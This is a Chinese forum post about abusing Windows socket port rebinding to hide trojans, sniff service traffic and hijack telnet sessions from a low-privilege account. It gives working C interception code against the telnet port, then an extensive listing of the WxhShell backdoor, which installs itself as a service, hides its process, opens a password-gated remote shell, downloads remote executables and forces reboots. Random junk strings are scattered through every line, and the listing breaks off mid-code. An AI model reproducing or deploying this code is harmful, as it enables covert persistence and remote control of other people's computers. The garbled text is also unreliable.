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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L;=<d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @0q%&v0  
Mg.xGST  
  saddr.sin_family = AF_INET; iHo2=Cz  
%,rUN+vW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t)74(  
)o'&f"/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dZ&/Iz  
+*3\ C!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BzL>,um  
Qo{Ez^q@J  
  这意味着什么?意味着可以进行如下的攻击: Oslbt8)U6  
C+-xC~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8$3G c"=  
m'$]lf;*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *<2+tI  
vLW&/YJ6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zqke8q  
:qi"I;=6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D +/27#  
qZlb?b"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l6.z-Qw  
NAjK0]SRY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T~UKWAKX}  
A-vK0l+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \?-`?QPux  
PNLtpixZ  
  #include :Vc+/ZyW  
  #include &[}T41  
  #include n83,MV?-  
  #include    UBp0;)-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Bry\"V"'g  
  int main() %N@454enH  
  { 8V%(SV  
  WORD wVersionRequested; c *(]pM  
  DWORD ret; +Sk;  
  WSADATA wsaData; \+mc   
  BOOL val; az~4sx$+}  
  SOCKADDR_IN saddr; XM$r,}B k  
  SOCKADDR_IN scaddr; a DuO!?Cm  
  int err; UUy|/z%  
  SOCKET s; 0[g8  
  SOCKET sc; zp>q$e40  
  int caddsize; R_ojK&%  
  HANDLE mt; b>AFhj:  
  DWORD tid;   KwOn<0P  
  wVersionRequested = MAKEWORD( 2, 2 ); dV<|ztv  
  err = WSAStartup( wVersionRequested, &wsaData ); ;Y#~2eYCz  
  if ( err != 0 ) { :e:jILQ[  
  printf("error!WSAStartup failed!\n"); ~WK>+T,%  
  return -1; "q4c[dna  
  } , KF>PoySA  
  saddr.sin_family = AF_INET; ? &ew$%  
   =CEQYk-y1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yzW9A=0A)  
ygr[5Tl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O:3pp8  
  saddr.sin_port = htons(23); Z[ }0K3,5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S+A'\{f  
  { Ob2H7 !  
  printf("error!socket failed!\n"); Af5O;v\  
  return -1; pPm[<^\#S  
  } E_]L8UC;m  
  val = TRUE; .v G_\-@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L)JpMf0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .w^M?}dx  
  { stz1e dP  
  printf("error!setsockopt failed!\n"); ymSGB`CP  
  return -1; P]-d (N}/H  
  } VZ{aET!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j8?z@iG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3!&lio+<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;=1]h&S  
O.e^? ysp/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =]yJvn"  
  { Q4r)TR,  
  ret=GetLastError(); GQoaBO.  
  printf("error!bind failed!\n"); Fku9hB  
  return -1; 9:CJl6~N)#  
  } orCD?vlh  
  listen(s,2); l@nkR&4[  
  while(1) ncf=S(G+  
  { e&?o  
  caddsize = sizeof(scaddr); ,Khhu%$  
  //接受连接请求 N7k<q=r-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6,)!\1k  
  if(sc!=INVALID_SOCKET) y% =nhV  
  { nY"9"R\.=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w}^z1n  
  if(mt==NULL) g![]R-$  
  { 0l!%}E  
  printf("Thread Creat Failed!\n"); z-K?Ak B1  
  break; (Y\aV+9[  
  } "TA r\; [  
  } 6W."h PP  
  CloseHandle(mt); ~M`QFF  
  } -8; ,#  
  closesocket(s); s2L|J[Y"s  
  WSACleanup(); 1iEZ9J?  
  return 0; 7!.%HhU0  
  }   t<sg8U.  
  DWORD WINAPI ClientThread(LPVOID lpParam) $A,fO~  
  { h7<Zkf  
  SOCKET ss = (SOCKET)lpParam; lG,/tMy  
  SOCKET sc; IZY q  
  unsigned char buf[4096]; \](IBI:  
  SOCKADDR_IN saddr; O{rgx~lLJt  
  long num; B5pM cw  
  DWORD val; h.FC:ym"  
  DWORD ret; 6b4Kcl<i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <_-&{Pv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \9dSI  
  saddr.sin_family = AF_INET; +J3 0OT8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZvEcExA-  
  saddr.sin_port = htons(23); O= PFr"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <n< @ O5  
  { aW]!$  
  printf("error!socket failed!\n"); gsd9QW  
  return -1; &#aQ mgDF  
  } >lQ&^9EI%  
  val = 100; zd AqGQfc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F;Ms6 "K  
  { 2f ]CnD0$  
  ret = GetLastError(); tmiRv.Mhn<  
  return -1; 3/mVdU?U  
  } QPjmIO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 F~e3  
  { ]YYjXg}%  
  ret = GetLastError(); \dSMF,E  
  return -1; :D6"h[7  
  } `X]TIMc:Ad  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aG;6^$H~  
  { |xy r6gY  
  printf("error!socket connect failed!\n"); K[Bq,nPo  
  closesocket(sc); pZp|F  
  closesocket(ss); X~t]qT  
  return -1;  Hi#'h  
  } 2GQ q(_  
  while(1) ysD @yM,  
  { NKB,D$!~&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "ut:\%39.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 68?oV)fE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4a]m=]Hm  
  num = recv(ss,buf,4096,0); 4&;.>{ :;  
  if(num>0) }c(".v#  
  send(sc,buf,num,0); zlzr;7m  
  else if(num==0) +hL+3`TD#H  
  break; "f\2/4EIl  
  num = recv(sc,buf,4096,0); ei'=%r8~  
  if(num>0) (lF;c<69  
  send(ss,buf,num,0); eSf e s  
  else if(num==0) x;" !  
  break; }7YDe'5V  
  } z:<mgp&/<  
  closesocket(ss); [q]"_4L0;d  
  closesocket(sc); !U.Xb6  
  return 0 ; 6T{Zee  
  } ?n)r1m  
xxOo8+kA  
`"QUA G  
========================================================== 9k=-8@G9  
;V]EF  
下边附上一个代码,,WXhSHELL WLGx= ;  
.CH0P K=l  
========================================================== 9{@#tx  
&RP!9{F<  
#include "stdafx.h" ]z`Y'wSxd  
LcCb[r  
#include <stdio.h> +cv7]  
#include <string.h> ;Vc@]6Ck  
#include <windows.h> 6dQa|ACX_  
#include <winsock2.h> Icf 4OAx  
#include <winsvc.h> #+Z3!VS  
#include <urlmon.h> 2xRb$QF  
uV.3g 1 m  
#pragma comment (lib, "Ws2_32.lib") K_j$iHqLF  
#pragma comment (lib, "urlmon.lib") <cG .V |B  
yyZH1A  
#define MAX_USER   100 // 最大客户端连接数  ,!_  
#define BUF_SOCK   200 // sock buffer |VM c,_D  
#define KEY_BUFF   255 // 输入 buffer  s#om  
Kd^{~Wlz&z  
#define REBOOT     0   // 重启 ?z0f5<dL  
#define SHUTDOWN   1   // 关机 `C"Slz::  
:Z(?Ct&8  
#define DEF_PORT   5000 // 监听端口 |5)~WoV/G  
r*]0PQ{?  
#define REG_LEN     16   // 注册表键长度 lQQXV5NV  
#define SVC_LEN     80   // NT服务名长度 x bF*4;^SI  
9i@AOU  
// 从dll定义API 1BQTvUAA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |gEA.} pY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s>z$_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O @fX +W?U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `EVTlq@<  
j-|YE?AA  
// wxhshell配置信息 GXB4&Q!C  
struct WSCFG { L(Q v78F  
  int ws_port;         // 监听端口 r4caIV  
  char ws_passstr[REG_LEN]; // 口令 "Q9S<O8)  
  int ws_autoins;       // 安装标记, 1=yes 0=no M>J8J*  
  char ws_regname[REG_LEN]; // 注册表键名 Ge$cV}  
  char ws_svcname[REG_LEN]; // 服务名 X&DuX %x0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |8}f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ie+&@u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EB jiSQw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =BJ/ZM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )k0e}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2pFOC;tl  
 =Run  
}; ;SkC[;`J  
t$=FcKUV}f  
// default Wxhshell configuration U~Aw=h5SD  
struct WSCFG wscfg={DEF_PORT, 6"Q/Y[y  
    "xuhuanlingzhe", , RfU1R  
    1, +(3"XYh  
    "Wxhshell", ; iQ@wOL]  
    "Wxhshell", 0?l|A1I%   
            "WxhShell Service", Y9~;6fg  
    "Wrsky Windows CmdShell Service", ]YkF^Pf!v  
    "Please Input Your Password: ", [9UKVnX.V  
  1, g6 EdCG.V  
  "http://www.wrsky.com/wxhshell.exe", xG0IA 7  
  "Wxhshell.exe" w=\Lw+X  
    }; YXXUYi~!f  
\lHi=}0  
// 消息定义模块 =" K;3a`GI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pa 2HFy2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K !8+~[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8yax.N j  
char *msg_ws_ext="\n\rExit."; qT#+DDEAL  
char *msg_ws_end="\n\rQuit."; @8C^[fDL  
char *msg_ws_boot="\n\rReboot..."; At%g^  
char *msg_ws_poff="\n\rShutdown..."; AoyU1MR(  
char *msg_ws_down="\n\rSave to "; pcNVtp 'V  
5:9Ay ?  
char *msg_ws_err="\n\rErr!"; VpMpZ9oM<  
char *msg_ws_ok="\n\rOK!"; m s\:^a  
XG<J'3  
char ExeFile[MAX_PATH]; ` _()R`=  
int nUser = 0; q:#,b0|bv  
HANDLE handles[MAX_USER]; D h]+HF  
int OsIsNt; $1oU^V Y  
>`= '~y8  
SERVICE_STATUS       serviceStatus; FOpOS?Cr'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PYr#vOH  
;+K:^*oJ  
// 函数声明 kac@yQD  
int Install(void); @;_r `AT7  
int Uninstall(void); DU$]e1  
int DownloadFile(char *sURL, SOCKET wsh); 1YR;dn  
int Boot(int flag); ^ef:cS$;  
void HideProc(void); ]7zDdI|  
int GetOsVer(void); &q1(v3cOO  
int Wxhshell(SOCKET wsl); C.@R#a'  
void TalkWithClient(void *cs); z;1tJ  
int CmdShell(SOCKET sock); N^q*lV#kob  
int StartFromService(void); oTo'? E#  
int StartWxhshell(LPSTR lpCmdLine); 3O%[k<S\VO  
liFNJd`|o+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G,>tC`!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /a17B  
z_!P0`  
// 数据结构和表定义 8<3J!X+  
SERVICE_TABLE_ENTRY DispatchTable[] = AM##:4   
{ yXY8 o E  
{wscfg.ws_svcname, NTServiceMain}, }r`!p5\$K0  
{NULL, NULL} lE08UEk1i  
}; }txHuq1Q.  
1 Y@6oT  
// 自我安装 ih2H~c>O  
int Install(void) B$g!4C `g  
{ *j><a  
  char svExeFile[MAX_PATH]; S+|aCRS  
  HKEY key; !6|Kpy8  
  strcpy(svExeFile,ExeFile); L':;Vv~-  
!l~tBJr*sB  
// 如果是win9x系统,修改注册表设为自启动 4PTHUyX  
if(!OsIsNt) { K>Fo+f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *kgbcUf8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N<Rb<p%  
  RegCloseKey(key); /4 RKA!W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A)040n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G hLgV  
  RegCloseKey(key); C2AP   
  return 0; (rt DT  
    } Um;ReJ8z  
  } vuuID24:  
} Ts:dnGR5  
else { Z4}Yw{=f  
Y[$[0  
// 如果是NT以上系统,安装为系统服务 FOB9CsMe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1>b kVA  
if (schSCManager!=0) W>dS@;E  
{ )8ctNpQt  
  SC_HANDLE schService = CreateService b'Z#RIb  
  ( go6Hb>  
  schSCManager, y&lj+j  
  wscfg.ws_svcname, ,nMLua\  
  wscfg.ws_svcdisp, P^v`5v  
  SERVICE_ALL_ACCESS, Qz{:m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !fwLC"QC  
  SERVICE_AUTO_START, Xo(K*eIN  
  SERVICE_ERROR_NORMAL, &xr?yd  
  svExeFile, )Be}Ev#)Zx  
  NULL, 6h}f^eJ:K,  
  NULL, : i3-7k  
  NULL, LB? evewu  
  NULL, J\_tigd   
  NULL (o{QSk\  
  ); VyCBJK  
  if (schService!=0) .zlUN0oe  
  { N-3w)23*:  
  CloseServiceHandle(schService); h_?D%b~5  
  CloseServiceHandle(schSCManager); h\C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |=l;UqB  
  strcat(svExeFile,wscfg.ws_svcname); -DX|[70  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y!i4P#4+q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e.\d7_T+  
  RegCloseKey(key); H h$D:ZO  
  return 0; $"J+3mO  
    } /4w&! $M-  
  } {qx}f^WV  
  CloseServiceHandle(schSCManager); +q) ^pCC  
} r4Pm i  
} 3?Bq((  
cliP+#  
return 1; n1DD+@  
} j?/T7a^  
W)<us?5Ec5  
// 自我卸载 *M/3 1qI  
int Uninstall(void) FlD !?  
{ ED[PP2[/  
  HKEY key; pb$U~TvzhM  
-78 t0-lM  
if(!OsIsNt) { r@"Vbq%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _R]la&^2F\  
  RegDeleteValue(key,wscfg.ws_regname); rxIfatp^  
  RegCloseKey(key); ?5'UrqYSW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <bXfjj6YJ@  
  RegDeleteValue(key,wscfg.ws_regname); "1&C\}.7  
  RegCloseKey(key); vNd4Fn)H  
  return 0; TTmNPp4q  
  } `DC)U1  
} zvdtP'&uj  
} `t {aN|3V[  
else { d;:+Xd`  
pUYa1=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MJ8z"SKnV  
if (schSCManager!=0) ZR6KE_  
{ &0K H00l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4B-v\3Ff  
  if (schService!=0) 4punJg~1  
  { ;wp)E nF  
  if(DeleteService(schService)!=0) { >7@F4a  
  CloseServiceHandle(schService); 5=., a5  
  CloseServiceHandle(schSCManager); wB?;3lTS  
  return 0; 7od!:<v/  
  } {#zJx(2yG  
  CloseServiceHandle(schService); C \H%4p1r  
  } :I+%v  
  CloseServiceHandle(schSCManager); fHb0pp\[.  
} F,P,dc  
} +<Uc42i7n  
. ?[2,4F;  
return 1; ^B1Q";# B^  
} B<H5WI  
}a'8lwF%I  
// 从指定url下载文件  z4&|~-m,  
int DownloadFile(char *sURL, SOCKET wsh) y2TJDb1  
{ PC7U&*x@  
  HRESULT hr; * "~^k^_b}  
char seps[]= "/"; 31  QT  
char *token; `Q, moz  
char *file; Qi w "x,  
char myURL[MAX_PATH];  *9`@  
char myFILE[MAX_PATH]; ]{0 2!  
F9]GEBLr  
strcpy(myURL,sURL); elJLTG  
  token=strtok(myURL,seps); DKF`uRvGN:  
  while(token!=NULL) <lB^>Hfu  
  { oZmni9*SD  
    file=token; ORA +>  
  token=strtok(NULL,seps); wX<)Fj'  
  } bv4lgRE6Y  
cmZ39pjBJ  
GetCurrentDirectory(MAX_PATH,myFILE); ^ bexXYh  
strcat(myFILE, "\\"); W.HM!HQp  
strcat(myFILE, file); ,+oQ 5c(f  
  send(wsh,myFILE,strlen(myFILE),0); Hb#8?{  
send(wsh,"...",3,0); wx>BNlT@?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b_|`jHes  
  if(hr==S_OK) >(|T]u](q  
return 0; W-<C%9O!  
else t1 OnA#]/_  
return 1; *<i { Mb Q  
vc^qpOk  
} SYw>P1  
va:5pvt2&  
// 系统电源模块 KaauX m  
int Boot(int flag) >TeTa l  
{ {3i.U028]  
  HANDLE hToken; 0AZ Vc  
  TOKEN_PRIVILEGES tkp; `$AX!,<!G  
H CZ#7Z  
  if(OsIsNt) { Vge9AH:op  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jRm v~]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !eMz;GZ  
    tkp.PrivilegeCount = 1; q#xoM1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GASDkVoij  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $GSn#} yz  
if(flag==REBOOT) { ^Cst4=:W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !.?2zp~  
  return 0; 3T'9_v[Y  
} JpcG5gX^B  
else { p[!&D}&6h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VA&_dU]*  
  return 0; d!D#:l3;  
} >KNiMW^V  
  } ]t=m  
  else { K pDKIi  
if(flag==REBOOT) { MD1n+FgTu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L09YA  
  return 0; ||;V5iR:  
} 2y>~<S  
else { D. fP Hq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i/6(~v  
  return 0; %d c=Q SL  
} +g(>]!swb  
} [d`J2^z}  
/vYuwaWG=  
return 1; l:-$ulAx  
} 3,8<5)ds*  
]]Sz|6P  
// win9x进程隐藏模块 %?Yf!)owh  
void HideProc(void) w<!F& kQB  
{ 6U Q~Fv`]  
4QARrG%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e4fh<0gX  
  if ( hKernel != NULL ) 2-s ,PQno^  
  { 6 6(|3DX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G|H+ ,B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); --6C>iY[&u  
    FreeLibrary(hKernel);  SP?~i@H  
  } x"9`w 42\r  
4@AY~"dq  
return; i%_W{;e  
} pZ,=iqr  
uZL,+Ce|  
// 获取操作系统版本 J: vq)G\F  
int GetOsVer(void) f~%|Iu1ob  
{ }F!tM"X\  
  OSVERSIONINFO winfo; *|{1`{8n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h6Ovl  
  GetVersionEx(&winfo); o,>9|EMQZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z@2^> eC  
  return 1; ^hr^f;N  
  else rE$0a-d2B  
  return 0; 8s16yuM  
} BpBMFEiP  
~_6~Fi  
// 客户端句柄模块 ^SM>bJ1Z_  
int Wxhshell(SOCKET wsl) f^Sl(^f  
{ ~Ap.#VIc'  
  SOCKET wsh; \5M1;  
  struct sockaddr_in client; Q =9Ce@[  
  DWORD myID; fUx;_GX?  
6|:K1bI)  
  while(nUser<MAX_USER) #J~   
{ bWWZGl9  
  int nSize=sizeof(client); fm]mqO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I!1|);li  
  if(wsh==INVALID_SOCKET) return 1; _zt)c!  
OIJNOuI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  PgI H(  
if(handles[nUser]==0) Iz^h| n  
  closesocket(wsh); ~8:q-m_h  
else dD YD6  
  nUser++; Y\75cfD  
  } TS4Yzq,f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lt08 E2p9  
gr1NcHu  
  return 0; #0$fZ  
} +lC?Vpi^  
hhWIwR  
// 关闭 socket o|`[X '  
void CloseIt(SOCKET wsh) y/i{6P2`,D  
{  B0 E`C  
closesocket(wsh); c(Ws3  
nUser--; ?, B4  
ExitThread(0); K Q^CiX  
} 3Gi^TXE]  
=sZ58xA  
// 客户端请求句柄 )hG4,0hv&  
void TalkWithClient(void *cs) 3fGL(5|_  
{ !aQb Kp  
AS4mJ UU9  
  SOCKET wsh=(SOCKET)cs; Lmsc ~~  
  char pwd[SVC_LEN]; 8]h~jNku  
  char cmd[KEY_BUFF]; 5tx!LGOK  
char chr[1]; ":@\kw  
int i,j; ~'1gX`o:  
&A}hx\_T  
  while (nUser < MAX_USER) { B']-4X{SGa  
fk&>2[^&  
if(wscfg.ws_passstr) { 4j|IG/m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y'L7o V?L9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FQTAkkA_!  
  //ZeroMemory(pwd,KEY_BUFF); q"(b}3  
      i=0;  )OHGg  
  while(i<SVC_LEN) { U45kA\[bZ  
:'`y}'  
  // 设置超时 iq^F?$gFk  
  fd_set FdRead; gcF:/@:Rm  
  struct timeval TimeOut; Upw`|$1S  
  FD_ZERO(&FdRead); 0\zY?UUww  
  FD_SET(wsh,&FdRead); )DB\du   
  TimeOut.tv_sec=8; BTc }Kfae  
  TimeOut.tv_usec=0; Oh# z zo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |xawguJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )_n=it$  
&cGa~#-u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?}RPn f  
  pwd=chr[0]; +>3jMs~&  
  if(chr[0]==0xd || chr[0]==0xa) { [s4|+  
  pwd=0; 3c%_RI.  
  break; :a/l9 m(  
  } Gr-~&pm  
  i++;  T<oDLJA\  
    } igx~6G*  
p<[MU4  
  // 如果是非法用户,关闭 socket -*A1[Z ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s Poh\n  
} \&_pI2X  
sZx`u+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A^ofs*"Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "%}24t%  
GXaPfC0-y  
while(1) { @r&*Qsf|   
!He_f-eZ  
  ZeroMemory(cmd,KEY_BUFF); j"hNkCF  
gLm,;'h%u  
      // 自动支持客户端 telnet标准   2##;[  
  j=0; *8r^!(Kj  
  while(j<KEY_BUFF) { f$76p!pDa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 577#A,O  
  cmd[j]=chr[0]; 3n,jrX75u  
  if(chr[0]==0xa || chr[0]==0xd) { cO$xT;kK  
  cmd[j]=0; |k$6"dXSO  
  break; 5^D094J|^  
  } )SZzA'  
  j++; QLH!>9Ch  
    } !RP0W  
\o*w#e[M  
  // 下载文件 qjObu\r  
  if(strstr(cmd,"http://")) { ~R&rQJJeJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :.9Y  
  if(DownloadFile(cmd,wsh)) x<h|$$4S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`_x|cU?J  
  else Lk)I;;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C$p012D1  
  } L;lu)|b"  
  else { i?ZVVE=r  
!2Gua1z!CJ  
    switch(cmd[0]) { D]o=I1O?  
  9wlp AK  
  // 帮助 -T}r$A  
  case '?': { 15@2h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r+8)<Xt+p  
    break; yAAV,?:o[  
  } 5o0n4W  
  // 安装 #SKC>M Gz  
  case 'i': { mv>0j<C91  
    if(Install()) mPU}]1*p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @F] w]d  
    else SwsJ<Dq^z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wFF,rUV  
    break; 3?K+wg s  
    } :zX^H9'E<(  
  // 卸载 A!,c@Kv 3  
  case 'r': { zMRa <G7  
    if(Uninstall()) N5{v;~Cm}V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tm/=Oc1p  
    else Td ade+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); veuX />!  
    break; ?N<,;~  
    } 4[i 3ckFT,  
  // 显示 wxhshell 所在路径 XD?Lu _.  
  case 'p': { BTD_j&+(  
    char svExeFile[MAX_PATH]; EnGh&]  
    strcpy(svExeFile,"\n\r"); #]dq^B~~  
      strcat(svExeFile,ExeFile); gg.]\#3g  
        send(wsh,svExeFile,strlen(svExeFile),0); B `.aQ  
    break; 118lb]  
    } \pk9i+t  
  // 重启 dG7d}0Ou'  
  case 'b': { 2 431v@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #1%ahPhR+  
    if(Boot(REBOOT)) RP$h;0EQG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%|pJ%}Q>  
    else { Td,d9M  
    closesocket(wsh); 4qQE9f xdY  
    ExitThread(0); "b402"&  
    } +.&P$`;TZj  
    break; tmOy"mq67  
    } !KJA)znx;(  
  // 关机 Y(t /=3c[  
  case 'd': { X&HYWH'@,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); - . o,bg  
    if(Boot(SHUTDOWN)) Rz&`L8Bz  
